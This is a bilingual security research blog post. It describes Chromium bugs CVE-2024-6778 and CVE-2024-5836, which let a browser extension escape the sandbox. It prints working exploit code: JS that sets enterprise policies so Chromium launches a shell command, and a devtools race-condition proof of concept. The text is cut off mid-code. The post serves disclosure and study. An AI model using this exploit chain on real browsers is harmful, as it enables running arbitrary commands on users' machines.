Escaping the Chrome Sandbox Through DevTools

Introduction 介绍

This blog post details how I found CVE-2024-6778 and CVE-2024-5836, which are vulnerabilities within the Chromium web browser which allowed for a sandbox escape from a browser extension (with a tiny bit of user interaction). Eventually, Google paid me $20,000 for this bug report.
这篇博文详细介绍了我是如何发现 CVE-2024-6778 和 CVE-2024-5836 的,它们是 Chromium Web 浏览器中的漏洞,允许沙盒从浏览器扩展中逃脱(通过少量用户交互)。最终,Google 为这个错误报告支付了 20,000 美元。

In short, these bugs allowed a malicious Chrome extension to run any shell command on your PC, which might then be used to install some even worse malware. Instead of merely stealing your passwords and compromising your browser, an attacker could take control of your entire operating system.
简而言之,这些错误允许恶意 Chrome 扩展程序在您的 PC 上运行任何 shell 命令,然后这些命令可能被用来安装一些更糟糕的恶意软件。攻击者不仅可以窃取您的密码并破坏您的浏览器,还可以控制您的整个操作系统。

WebUIs and the Chrome Sandbox
WebUI 和 Chrome 沙箱

All untrusted code that Chromium runs is sandboxed, which means that it runs in an isolated environment that cannot access anything it’s not supposed to. In practice, this means that the Javascript code that runs in a Chrome extension can only interact with itself and the Javascript APIs it has access to. Which APIs an extension has access to is dependent on the permissions that the user grants it. However, the worst that you can really do with these permissions is steal someone’s logins and browser history. Everything is supposed to stay contained to within the browser.
Chromium 运行的所有不受信任的代码都是沙盒化的,这意味着它在隔离的环境中运行,无法访问任何不应该访问的内容。在实践中,这意味着在 Chrome 扩展中运行的 Javascript 代码只能与自身及其有权访问的 Javascript API 进行交互。扩展有权访问哪些 API 取决于用户授予它的权限。但是,您可以使用这些权限真正做的最糟糕的事情是窃取某人的登录名和浏览器历史记录。所有内容都应该包含在浏览器中。

Additionally, Chromium has a few webpages that it uses for displaying its GUI, using a mechanism called WebUI. These are prefixed with the chrome:// URL protocol, and include ones you’ve probably used like chrome://settings and chrome://history. Their purpose is to provide the user-facing UI for Chromium’s features, while being written with web technologies such as HTML, CSS, and Javascript. Because they need to display and modify information that is specific to the internals of the browser, they are considered to be privileged, which means they have access to private APIs that are used nowhere else. These private APIs allow the Javascript code running on the WebUI frontend to communicate with native C++ code in the browser itself.
此外,Chromium 还有一些网页用于使用一种称为 WebUI 的机制来显示其 GUI。这些协议以 chrome:// URL 协议为前缀,包括您可能使用过的协议,例如 chrome://settings 和 chrome://history。它们的目的是为 Chromium 的功能提供面向用户的 UI,同时使用 HTML、CSS 和 Javascript 等 Web 技术编写。因为它们需要显示和修改特定于浏览器内部的信息,所以它们被认为是特权的,这意味着它们可以访问在其他任何地方都没有使用的私有 API。这些私有 API 允许在 WebUI 前端上运行的 Javascript 代码与浏览器本身的原生 C++ 代码进行通信。

Preventing an attacker from accessing WebUIs is important because code that runs on a WebUI page can bypass the Chromium sandbox entirely. For example, on chrome://downloads, clicking on a download for a .exe file will run the executable, and thus if this action was performed via a malicious script, that script can escape the sandbox.
防止攻击者访问 WebUI 很重要,因为在 WebUI 页面上运行的代码可以完全绕过 Chromium 沙箱。例如,在 chrome://downloads 上,单击.exe文件的下载将运行可执行文件,因此,如果此操作是通过恶意脚本执行的,则该脚本可以逃离沙箱。

Running untrusted Javascript on chrome:// pages is a common attack vector, so the receiving end of these private APIs perform some validation to ensure that they’re not doing anything that the user couldn’t otherwise do normally. Going back to the chrome://downloads example, Chromium protects against that exact scenario by requiring that to open a file from the downloads page, the action that triggers it has to come from an actual user input and not just Javascript.
在 chrome:// 页面上运行不受信任的 Javascript 是一种常见的攻击媒介,因此这些私有 API 的接收端会执行一些验证,以确保它们不会执行用户通常无法执行的任何操作。回到 chrome://downloads 示例,Chromium 通过要求从下载页面打开文件来防止这种确切的情况,触发它的操作必须来自实际的用户输入,而不仅仅是 Javascript。

Of course, sometimes with these checks there’s an edge case that the Chromium developers didn’t account for.
当然,有时这些检查会遇到 Chromium 开发人员没有考虑到的边缘情况。

About Enterprise Policies
关于企业策略

My journey towards finding this vulnerability began when I was looking into the Chromium enterprise policy system. It’s intended to be a way for administrators to force certain settings to be applied to devices owned by a company or school. Usually, policies tied to a Google account and are downloaded from Google’s own management server.
我发现此漏洞的旅程始于我研究 Chromium 企业策略系统时。它旨在让管理员强制将某些设置应用于公司或学校拥有的设备。通常,策略与 Google 帐户相关联,并从 Google 自己的管理服务器下载。

Escaping the Chrome Sandbox Through DevTools

Enterprise policies also include things that the user would not be able to modify normally. For example, one of the things you can do with policies is disable the dino easter egg game:
企业策略还包括用户无法正常修改的内容。例如,您可以使用策略执行的其中一项操作是禁用恐龙复活节彩蛋游戏:

Escaping the Chrome Sandbox Through DevTools

Moreover, the policies themselves are separated into two categories: user policies and device policies.
此外,策略本身分为两类:用户策略和设备策略。

Device policies are used to manage settings across an entire Chrome OS device. They can be as simple as restricting which accounts can log in or setting the release channel. Some of them can even change the behavior of the device’s firmware (used to prevent developer mode or downgrading the OS). However, because this vulnerability doesn’t pertain to Chrome OS, device policies can be ignored for now.
设备政策用于管理整个 Chrome 操作系统设备的设置。它们可以像限制哪些帐户可以登录或设置发布频道一样简单。其中一些甚至可以更改设备固件的行为(用于阻止开发人员模式或降级操作系统)。但是,由于此漏洞与 Chrome 操作系统无关,因此暂时可以忽略设备策略。

User policies are applied to a specific user or browser instance. Unlike device policies, these are available on all platforms, and they can be set locally rather than relying on Google’s servers. On Linux for instance, placing a JSON file inside /etc/opt/chrome/policies will set the user policies for all instances of Google Chrome on the device.
用户策略应用于特定用户或浏览器实例。与设备策略不同,这些策略在所有平台上都可用,并且可以在本地设置,而不是依赖 Google 的服务器。例如,在 Linux 上,将 JSON 文件放在 /etc/opt/chrome/policies 中将为设备上的所有 Google Chrome 实例设置用户策略。

Setting user policies using this method is somewhat inconvenient since writing to the policies directory requires root permissions. However, what if there was a way to modify these policies without creating a file?
使用此方法设置用户策略有些不方便,因为写入 policies 目录需要 root 权限。但是,如果有办法在不创建文件的情况下修改这些策略,该怎么办?

The Policies WebUI 策略 WebUI

Notably, Chromium has a WebUI for viewing the policies applied to the current device, located at chrome://policy. It shows the list of policies applied, the logs for the policy service, and the ability to export these policies to a JSON file.
值得注意的是,Chromium 有一个 WebUI,用于查看应用于当前设备的策略,位于 chrome://policy。它显示应用的策略列表、策略服务的日志,以及将这些策略导出到 JSON 文件的功能。

Escaping the Chrome Sandbox Through DevTools

This is nice and all, but normally there’s no way to edit the policies from this page. Unless of course, there is an undocumented feature to do exactly that.
这很好,但通常无法从此页面编辑策略。当然,除非有一个未记录的功能可以做到这一点。

Abusing the Policy Test Page
滥用策略测试页面

When I was doing research on the subject, I came across the following entry in the Chrome Enterprise release notes for Chrome v117:
当我对这个主题进行研究时,我在 Chrome v117 的 Chrome Enterprise 发行说明中看到了以下条目:

Chrome will introduce a chrome://policy/test page
Chrome 将引入一个 chrome://policy/test 页面

chrome://policy/test will allow customers to test out policies on the Beta, Dev, Canary channels. If there is enough customer demand, we will consider bringing this functionality to the Stable channel.
chrome://policy/test 将允许客户在 Beta、Dev、Canary 通道上测试策略。如果有足够的客户需求,我们将考虑将此功能引入 Stable 渠道。

As it turns out, this is the only place in Chromium’s documentation where this feature is mentioned at all. So with nowhere else to look, I examined the Chromium source code to figure out how it is supposed to work.
事实证明,这是 Chromium 文档中唯一提到此功能的地方。因此,由于无处可寻,我检查了 Chromium 源代码以弄清楚它应该如何工作。

Using Chromium Code Search, I did a search for chrome://policy/test, which led me to the JS part of the WebUI code for the policy test page. I then noticed the private API calls that it uses to set the test policies:
使用 Chromium 代码搜索,我搜索了 chrome://policy/test,这让我找到了策略测试页面的 WebUI 代码的 JS 部分。然后,我注意到它用于设置测试策略的私有 API 调用

export class PolicyTestBrowserProxy {
  applyTestPolicies(policies: string, profileSeparationResponse: string) {
    return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
  }
  ...
}

Remember how I said that these WebUI pages have access to private APIs? Well, sendWithPromise() is one of these. sendWithPromise() is really just a wrapper for chrome.send(), which sends a request to a handler function written in C++. The handler function can then do whatever it needs to in the internals of the browser, then it may return a value which is passed back to the JS side by sendWithPromise().
还记得我说过这些 WebUI 页面可以访问私有 API 吗?sendWithPromise() 就是其中之一。sendWithPromise() 实际上只是 chrome.send() 的包装器,它向用 C++ 编写的处理程序函数发送请求。然后,处理程序函数可以在浏览器的内部执行任何需要的操作,然后它可能会返回一个值,该值通过 sendWithPromise() 传递回 JS 端。

And so, on a whim, I decided to see what calling this in the JS console would do.
因此,一时兴起,我决定看看在 JS 控制台中调用 this 会有什么作用。

//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");

Unfortunately, running it simply crashed the browser. Interestingly, the following line appeared in the crash log: [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected
不幸的是,运行它只会使浏览器崩溃。有趣的是,崩溃日志中出现了以下行: [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected

It looks like it expects a JSON string with an array of policies as the first argument, which makes sense. Let’s provide one then. Luckily policy_test_browser_proxy.ts tells me the format it expects so I don’t have to do too much guesswork.
它看起来需要一个 JSON 字符串,其中策略数组作为第一个参数,这是有道理的。那么让我们提供一个。幸运的是,policy_test_browser_proxy.ts 会告诉我它想要的格式,所以我不必做太多的猜测。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { 
    name: "AllowDinosaurEasterEgg",
    value: false,
    level: 1, 
    source: 1,
    scope: 1
  }
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");

So after running this… it just works? I just set an arbitrary user policy by simply running some Javascript on chrome://policy. Clearly something is going wrong here, considering that I never explicitly enabled this feature at all.
所以在运行这个之后…它就是管用吗?我只是通过在 chrome://policy 上运行一些 Javascript 来设置一个任意的用户策略。显然,这里出了点问题,考虑到我根本没有明确启用过这个功能。

Broken WebUI Validation 损坏的 WebUI 验证

For some context, this is what the policy test page is supposed to look like when it’s properly enabled.
对于某些上下文,这就是正确启用策略测试页面时应该是什么样子。

Escaping the Chrome Sandbox Through DevTools

To properly enable this page, you have to set the PolicyTestPageEnabled policy (also not documented anywhere). If that policy is not set to begin with, then chrome://policy/test just redirects back to chrome://policy.
要正确启用此页面,您必须设置 PolicyTestPageEnabled 策略(也未在任何地方记录)。如果该策略未设置为开头,则 chrome://policy/test 只会重定向回 chrome://policy

Escaping the Chrome Sandbox Through DevTools

So why was I able to set the test policies regardless of the fact that I had the PolicyTestPageEnabled policy disabled? To investigate this, I looked though Chromium Code Search again and found the WebUI handler for the setLocalTestPolicies function on the C++ side.
那么,为什么我能够设置测试策略,而不管我禁用了 PolicyTestPageEnabled 策略呢?为了调查这个问题,我再次查看了 Chromium 代码搜索,并在 C++ 端找到了 setLocalTestPolicies 函数的 WebUI 处理程序

void PolicyUIHandler::HandleSetLocalTestPolicies(
    const base::Value::List& args) {
  std::string policies = args[1].GetString();

  policy::LocalTestPolicyProvider* local_test_provider =
      static_cast<policy::LocalTestPolicyProvider*>(
          g_browser_process->browser_policy_connector()
              ->local_test_policy_provider());

  CHECK(local_test_provider);

  Profile::FromWebUI(web_ui())
      ->GetProfilePolicyConnector()
      ->UseLocalTestPolicyProvider();

  local_test_provider->LoadJsonPolicies(policies);
  AllowJavascript();
  ResolveJavascriptCallback(args[0], true);
}

The only validation that this function performs is that it checks to see if local_test_provider exists, otherwise it crashes the entire browser. Under what conditions will local_test_provider exist, though?
此函数执行的唯一验证是检查是否存在local_test_provider,否则会导致整个浏览器崩溃。但是,local_test_provider在什么条件下会存在呢?

To answer that, I found the code that actually creates the local test policy provider.
为了回答这个问题,我找到了实际创建本地测试策略提供程序的代码。

std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {
  if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {
    return base::WrapUnique(new LocalTestPolicyProvider());
  }

  return nullptr;
}

So this function actually does perform a check to see if the test policies are allowed. If they’re not allowed, then it returns null, and attempting to set test policies like I showed earlier will cause a crash.
因此,此函数实际上会执行检查以查看是否允许测试策略。如果不允许它们,则返回 null,并且尝试设置测试策略(如我之前演示的那样)将导致崩溃。

Maybe IsPolicyTestingEnabled() is misbehaving? Here’s what the function looks like:
也许 IsPolicyTestingEnabled() 行为不端?函数如下所示:

bool IsPolicyTestingEnabled(PrefService* pref_service,
                            version_info::Channel channel) {
  if (pref_service &&
      !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
    return false;
  }

  if (channel == version_info::Channel::CANARY ||
      channel == version_info::Channel::DEFAULT) {
    return true;
  }

  return false;
}

This function first checks if kPolicyTestPageEnabled is true, which is the the policy that is supposed to enable the policy test page under normal conditions. However, you may notice that when IsPolicyTestingEnabled() is called, the first argument, the pref_service, is set to null. This causes the check to be ignored entirely.
此函数首先检查 kPolicyTestPageEnabled 是否为 true,这是在正常情况下应启用策略测试页面的策略。但是,您可能会注意到,当调用 IsPolicyTestingEnabled() 时,第一个参数(pref_service)设置为 null。这会导致完全忽略检查。

Now, the only check that remains is for the channel. In this context, “channel” means browser’s release channel, which is something like stable, beta, dev, or canary. So in this case, only Channel::CANARY and Channel::DEFAULT is allowed. That must mean that my browser is set to either Channel::CANARY or Channel::DEFAULT.
现在,唯一剩下的检查是通道。在这种情况下,“channel” 是指浏览器的发布频道,类似于 stable、beta、dev 或 canary。所以在这种情况下,只允许 Channel::CANARY 和 Channel::D EFAULT。这必须意味着我的浏览器设置为 Channel::CANARY 或 Channel::D EFAULT。

Then does the browser know what channel it’s in? Here’s the function where it determines that:
那么浏览器知道它在哪个频道吗?下面是它确定的函数:

// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  const char* const env = getenv("CHROME_VERSION_EXTRA");
  const std::string_view env_str =
      env ? std::string_view(env) : std::string_view();

  // Ordered by decreasing expected population size.
  if (env_str == "stable")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/false};
  if (env_str == "extended")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/true};
  if (env_str == "beta")
    return {version_info::Channel::BETA, /*is_extended_stable=*/false};
  if (env_str == "unstable")  // linux version of "dev"
    return {version_info::Channel::DEV, /*is_extended_stable=*/false};
  if (env_str == "canary") {
    return {version_info::Channel::CANARY, /*is_extended_stable=*/false};
  }
#endif  // BUILDFLAG(GOOGLE_CHROME_BRANDING)

  return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}

If you don’t know how the C preprocessor works, the #if BUILDFLAG(GOOGLE_CHROME_BRANDING) part means that the enclosed code will only be compiled if BUILDFLAG(GOOGLE_CHROME_BRANDING) is true. Otherwise that part of the code doesn’t exist. Considering that I’m using plain Chromium and not the branded Google Chrome, the channel will always be Channel::UNKNOWN. This also means that, unfortunately, the bug will not work on stable builds of Google Chrome since the release channel is set to the proper value there.
如果你不知道 C 预处理器是如何工作的,这 #if BUILDFLAG(GOOGLE_CHROME_BRANDING) 部分意味着只有在 为 true 时 BUILDFLAG(GOOGLE_CHROME_BRANDING) 才会编译所包含的代码。否则,这部分代码就不存在。考虑到我使用的是普通 Chromium 而不是品牌化的 Google Chrome,频道将始终为 Channel::UNKNOWN。这也意味着,不幸的是,该错误将无法在 Google Chrome 的稳定版本上运行,因为那里的发布频道被设置为适当的值。

enum class Channel {
  UNKNOWN = 0,
  DEFAULT = UNKNOWN,
  CANARY = 1,
  DEV = 2,
  BETA = 3,
  STABLE = 4,
};

Looking at the enum definition for the channels, we can see that Channel::UNKNOWN is actually the same as Channel::DEFAULT. Thus, on Chromium and its derivatives, the release channel check in IsPolicyTestingEnabled() always passes, and the function will always return true.
查看通道的枚举定义,我们可以看到 Channel::UNKNOWN 实际上与 Channel::D EFAULT 相同。因此,在 Chromium 及其衍生产品上,IsPolicyTestingEnabled() 中的发布通道检查始终通过,并且该函数将始终返回 true。

Sandbox Escape via the Browser Switcher
通过浏览器切换器进行沙盒转义

So what can I actually do with the ability to set arbitrary user policies? To answer that, I looked at the Chrome enterprise policy list.
那么,我实际上可以利用设置任意用户策略的功能做什么呢?为了回答这个问题,我查看了 Chrome 企业策略列表

One of the features present in enterprise policies is the Legacy Browser Support module, also called the Browser Switcher. It’s designed to accommodate Internet Explorer users by launching an alternative browser when the user visit certain URLs in Chromium. The behaviors of this feature are all controllable with policies.
企业策略中存在的功能之一是 Legacy Browser Support 模块,也称为 Browser Switcher。它旨在通过在用户访问 Chromium 中的某些 URL 时启动备用浏览器来适应 Internet Explorer 用户。此功能的行为都可以通过策略进行控制。

The AlternativeBrowserPath policy stood out in particular. Combined with AlternativeBrowserParameters, this lets Chromium launch any shell command as the “alternate browser.” However, keep in mind this only works on Linux, MacOS, and Windows, because otherwise the browser switcher policies don’t exist.
AlternativeBrowserPath 策略尤其突出。结合 AlternativeBrowserParameters,这允许 Chromium 将任何 shell 命令作为 “备用浏览器” 启动。但是,请记住,这仅适用于 Linux、MacOS 和 Windows,否则浏览器切换器策略不存在。

We can set the following policies to make Chromium launch the calculator, for instance:
例如,我们可以设置以下策略来使 Chromium 启动计算器:

name: "BrowserSwitcherEnabled"
value: true

name: "BrowserSwitcherUrlList"
value: ["example.com"]

name: "AlternativeBrowserPath"
value: "/bin/bash"

name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"] 

Whenever the browser tries to navigate to example.com, the browser switcher will kick in and launch /bin/bash["-c", "xcalc # https://example.com"] get passed in as arguments. The -c tells bash to run the command specified in the next argument. You may have noticed that the page URL gets substituted into ${url}, and so to prevent this from messing up the command, we can simply put it behind a # which makes it a comment. And thus, we are able to trick Chromium into running /bin/bash -c 'xcalc # https://example.com'.
每当浏览器尝试导航到 example.com 时,浏览器切换器就会启动并启动 /bin/bash。 ["-c", "xcalc # https://example.com"] 作为参数传入。-c 指示 bash 运行下一个参数中指定的命令。你可能已经注意到,页面 URL 被替换为 ${url},因此为了防止这弄乱命令,我们可以简单地将其放在 # 后面,使其成为注释。因此,我们能够欺骗 Chromium 运行 /bin/bash -c 'xcalc # https://example.com' .

Utilizing this from the chrome://policy page is rather simple. I can just set these policies using the aforementioned method, and then call window.open("https://example.com") to trigger the browser switcher.
从 chrome://policy 页面使用它相当简单。我可以使用上述方法设置这些策略,然后调用 window.open("https://example.com") 以触发浏览器切换器。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //enable the browser switcher feature
    name: "BrowserSwitcherEnabled",
    value: true,
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the browser switcher to trigger on example.com
    name: "BrowserSwitcherUrlList",
    value: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the executable path to launch
    name: "AlternativeBrowserPath",
    value: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the arguments for the executable
    name: "AlternativeBrowserParameters",
    value: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")

And that right there is the sandbox escape. We have managed to run an arbitrary shell command via Javascript running on chrome://policy.
这就是沙盒逃脱。我们已经设法通过在 chrome://policy 上运行的 Javascript 运行任意 shell 命令。

Breaking the Devtools API
破解 Devtools API

You might have noticed that so far, this attack requires the victim to paste the malicious code into the browser console while they are on chrome://policy. Actually convincing someone to do this would be rather difficult, making the bug useless. So now, my new goal is to somehow run this JS in chrome://policy automatically.
您可能已经注意到,到目前为止,这种攻击要求受害者在 chrome://policy 时将恶意代码粘贴到浏览器控制台中。实际上,说服某人这样做会相当困难,使 Bug 毫无用处。所以现在,我的新目标是以某种方式自动以 chrome://policy 运行这个 JS。

The most likely way this can be done is by creating a malicious Chrome extension. The Chrome extension APIs have a fairly large attack surface, and extensions by their very nature have the ability to inject JS onto pages. However, like I mentioned earlier, extensions are not allowed to run JS on privileged WebUI pages, so I needed to find a way around that.
最可能的方法是创建恶意的 Chrome 扩展程序。Chrome 扩展 API 具有相当大的攻击面,并且扩展本质上能够将 JS 注入到页面上。但是,就像我之前提到的,不允许扩展在特权 WebUI 页面上运行 JS,因此我需要找到一种方法来解决这个问题。

There are 4 main ways that an extension can execute JS on pages:
扩展可以通过 4 种主要方式在页面上执行 JS:

While investigating this, I decided to look into chrome.devtools.inspectedWindow, as I felt that it was the most obscure and thus least hardened. That assumption turned out to be right.
在调查这个问题时,我决定研究 chrome.devtools.inspectedWindow ,因为我觉得它是最晦涩的,因此最不顽固。事实证明,这个假设是正确的。

The way that the chrome.devtools APIs work is that all extensions that use the APIs must have the devtools_page field in their manifest. For example:
chrome.devtools API 的工作方式是,所有使用这些 API 的扩展都必须在其清单中包含 devtools_page 字段。例如:

{
  "name": "example extension",
  "version": "1.0",
  "devtools_page": "devtools.html",
  ...
}

Essentially, what this does is it specifies that whenever the user opens devtools, the devtools page loads devtools.html as an iframe. Within that iframe, the extension can use all of the chrome.devtools APIs. You can refer to the API documentation for the specifics.
从本质上讲,它的作用是指定每当用户打开 devtools 时,devtools 页面都会将devtools.html作为 iframe 加载。在该 iframe 中,扩展可以使用所有 chrome.devtools API。具体信息,请参考 API 文档

While researching the chrome.devtools.inspectedWindow APIs, I noticed a prior bug report by David Erceg, which involved a bug with chrome.devtools.inspectedWindow.eval(). He managed to get code execution on a WebUI by opening devtools on a normal page, then running chrome.devtools.inspectedWindow.eval() with a script that crashed the page. Then, this crashed tab could be navigated to a WebUI page, where the eval request would be re-run, thus gaining code execution there.
在研究 chrome.devtools.inspectedWindow API 时,我注意到 David Erceg 之前提交的一个错误报告,其中涉及 chrome.devtools.inspectedWindow.eval() .他通过在普通页面上打开 devtools,然后使用导致页面崩溃的脚本运行 chrome.devtools.inspectedWindow.eval() ,设法在 WebUI 上执行代码。然后,这个崩溃的选项卡可以导航到 WebUI 页面,在那里 eval 请求将被重新运行,从而在那里获得代码执行。

Notably, the chrome.devtools APIs are supposed to protect against this sort of privilege execution by simply disabling their usage after the inspected page has been navigated to a WebUI. As David Erceg demonstrated in his bug report, the key to bypassing this is to send the request for the eval before Chrome decides to disable the devtools API, and to make sure the request arrives at the WebUI page.
值得注意的是,chrome.devtools API 应该通过在被检查的页面导航到 WebUI 后简单地禁用它们的使用来防止这种权限执行。正如 David Erceg 在他的 bug 报告中所演示的那样,绕过这一点的关键是在 Chrome 决定禁用 devtools API 之前发送 eval 请求,并确保请求到达 WebUI 页面。

After reading that report, I wondered if something similar was possible with chrome.devtools.inspectedWindow.reload(). This function is also able to run JS on the inspected page, as long as the injectedScript is passed into it.
读完那篇报告后,我想知道是否有可能使用 chrome.devtools.inspectedWindow.reload() .此函数还可以在被检查的页面上运行 JS,只要将 injectedScript 传递到其中即可。

The first sign that it was exploitable appeared when I tried calling inspectedWindow.reload() when the inspected page was an about:blank page which belonged to a WebUI. about:blank pages are unique in this regard since even though the URL is not special, they inherit the permissions and origin from the page that opened them. Because an about:blank page opened from a WebUI is privileged, you would expect that trying to evaluate JS on that page would be blocked.
当我尝试调用 inspectedWindow.reload() 时,它的第一个迹象出现在被检查的页面是属于 WebUI 的 about:blank 页面时。about:blank 页面在这方面是唯一的,因为即使 URL 不是特殊的,它们也会从打开它们的页面继承权限和来源。因为从 WebUI 打开的 about:blank 页面是特权页面,所以你会预料到尝试评估该页面上的 JS 会被阻止。

Escaping the Chrome Sandbox Through DevTools

Surprisingly, this actually worked. Notice that the title of the alert has the page’s origin in it, which is chrome://settings, so the page is in fact privileged. But wait, isn’t the devtools API supposed to prevent this exact thing by disabling the API entirely? Well, it doesn’t consider the edge case of about:blank pages. Here’s the code that handles disabling the API:
令人惊讶的是,这实际上奏效了。请注意,警报的标题包含页面的来源,即 chrome://settings,因此该页面实际上是特权页面。但是等等,devtools API 不是应该通过完全禁用 API 来阻止这种确切的事情吗?嗯,它没有考虑 about:blank pages 的边缘情况。以下是处理禁用 API 的代码:

private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {
  if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

Importantly, it only takes the URL into consideration here, not the page’s origin. As I demonstrated earlier, these can be two distinct things. Even if the URL is benign, the origin may not be.
重要的是,它在这里只考虑 URL,而不是页面的来源。正如我之前演示的那样,这可能是两个不同的事情。即使 URL 是良性的,源也可能不是。

Abusing about:blank is nice and all but it’s not very useful in the context of making an exploit chain. The page I want to get code execution on, chrome://policy, never opens any about:blank popups, so that’s already a dead end. However, I noticed the fact that even though inspectedWindow.eval() failed, inspectedWindow.reload() still ran successfully and executed the JS on chrome://settings. This suggested that inspectedWindow.eval() has its own checks to see if the origin of the inspected page is allowed, while inspectedWindow.reload() has no checks of its own.
滥用 about:blank 很好,但在制作漏洞利用链的上下文中它不是很有用。chrome://policy,我想要执行代码的页面从未打开任何 about:blank 弹出窗口,所以这已经是一条死胡同了。但是,我注意到一个事实,即使 inspectedWindow.eval() 失败,inspectedWindow.reload() 仍然成功运行并在 chrome://settings 上执行 JS。这表明 inspectedWindow.eval() 有自己的检查,以查看是否允许被检查页面的来源,而 inspectedWindow.reload() 没有自己的检查。

Then I wondered if I could just spam the inspectedWindow.reload() calls, so that if at least one of those requests landed on the WebUI page, I would get code execution.
然后我想知道我是否可以只向 inspectedWindow.reload() 调用发送垃圾邮件,这样如果这些请求中至少有一个到达 WebUI 页面,我就可以执行代码。

function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, this script won't do anything on a non chrome page
    if (!origin.startsWith("chrome://")) return;
    alert("hello from chrome.devtools.inspectedWindow.reload");
    `
  });
}

setInterval(() => {
  for (let i=0; i<5; i++) {
    inject_script(); 
  }
}, 0);  

chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});

Escaping the Chrome Sandbox Through DevTools

And that’s the final piece of the exploit chain working. This race condition relies on the fact that the inspected page and the devtools page are different processes. When the navigation to the WebUI occurs in the inspected page, there is a small window of time before the devtools page realizes and disables the API. If inspectedWindow.reload() is called within this interval of time, the reload request will end up on the WebUI page.
这是漏洞利用链的最后一部分。此争用条件依赖于 inspected 页面和 devtools 页面是不同进程的事实。当导航到 WebUI 发生在检查的页面中时,在 devtools 页面实现并禁用 API 之前,有一个小时间窗口。如果在此时间间隔内调用 inspectedWindow.reload(),则重新加载请求将最终出现在 WebUI 页面上。

Putting it All Together 把它们放在一起

Now that I had all of the steps of the exploit working, I began putting together the proof of concept code. To recap, this POC has to do the following:
现在我已经完成了漏洞利用的所有步骤,我开始整理概念验证代码。概括地说,此 POC 必须执行以下操作:

  1. Use the race condition in chrome.devtools.inspectedWindow.reload() to execute a JS payload on chrome://policy
    使用 race condition in chrome.devtools.inspectedWindow.reload() 在 chrome://policy 上执行 JS 负载
  2. That payload calls sendWithPromise("setLocalTestPolicies", policy) to set custom user policies.
    该有效负载调用 sendWithPromise("setLocalTestPolicies", policy) 以设置自定义用户策略。
  3. The BrowserSwitcherEnabledBrowserSwitcherUrlListAlternativeBrowserPath, and AlternativeBrowserParameters are set, specifying /bin/bash as the “alternate browser.”
    设置 BrowserSwitcherEnabledBrowserSwitcherUrlListAlternativeBrowserPath 和 AlternativeBrowserParameters,并将 /bin/bash 指定为“备用浏览器”。
  4. The browser switcher is triggered by a simple window.open() call, which executes a shell command.
    浏览器切换器由一个简单的 window.open() 调用触发,该调用执行 shell 命令。

The final proof of concept exploit looked like this:
最终的概念验证漏洞利用如下所示:

let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {
  executable = "C:\\Windows\\System32\\cmd.exe";
  flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {
  executable = "/bin/bash";
  flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {
  executable = "/bin/bash";
  flags = ["-c", "open -na Calculator # ${url}"];
}

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    (async () => {
      //check the origin, this script won't do anything on a non chrome page
      console.log(origin);
      if (!origin.startsWith("chrome://")) return;

      //import cr.js since we need sendWithPromise
      let cr = await import('chrome://resources/js/cr.js');

      //here are the policies we are going to set
      let policy = JSON.stringify([
        { //enable the browser switcher feature
          name: "BrowserSwitcherEnabled",
          value: true,
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the browser switcher to trigger on example.com
          name: "BrowserSwitcherUrlList",
          value: ["example.com"],
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the executable path to launch
          name: "AlternativeBrowserPath",
          value: ${JSON.stringify(executable)},
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the arguments for the executable
          name: "AlternativeBrowserParameters",
          value: ${JSON.stringify(flags)},
          level: 1,
          source: 1,
          scope: 1
        }
      ]);

      //set the policies listed above
      await cr.sendWithPromise("setLocalTestPolicies", policy, "");

      setTimeout(() => {
        //navigate to example.com, which will trigger the browser switcher
        location.href = "https://example.com";

        //open a new page so that there is still a tab remaining after this
        open("about:blank");  
      }, 100);
    })()`
  });
}

//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {
  setInterval(() => {
    //loop to increase our odds
    for (let i=0; i<3; i++) {
      inject_script(); 
    }
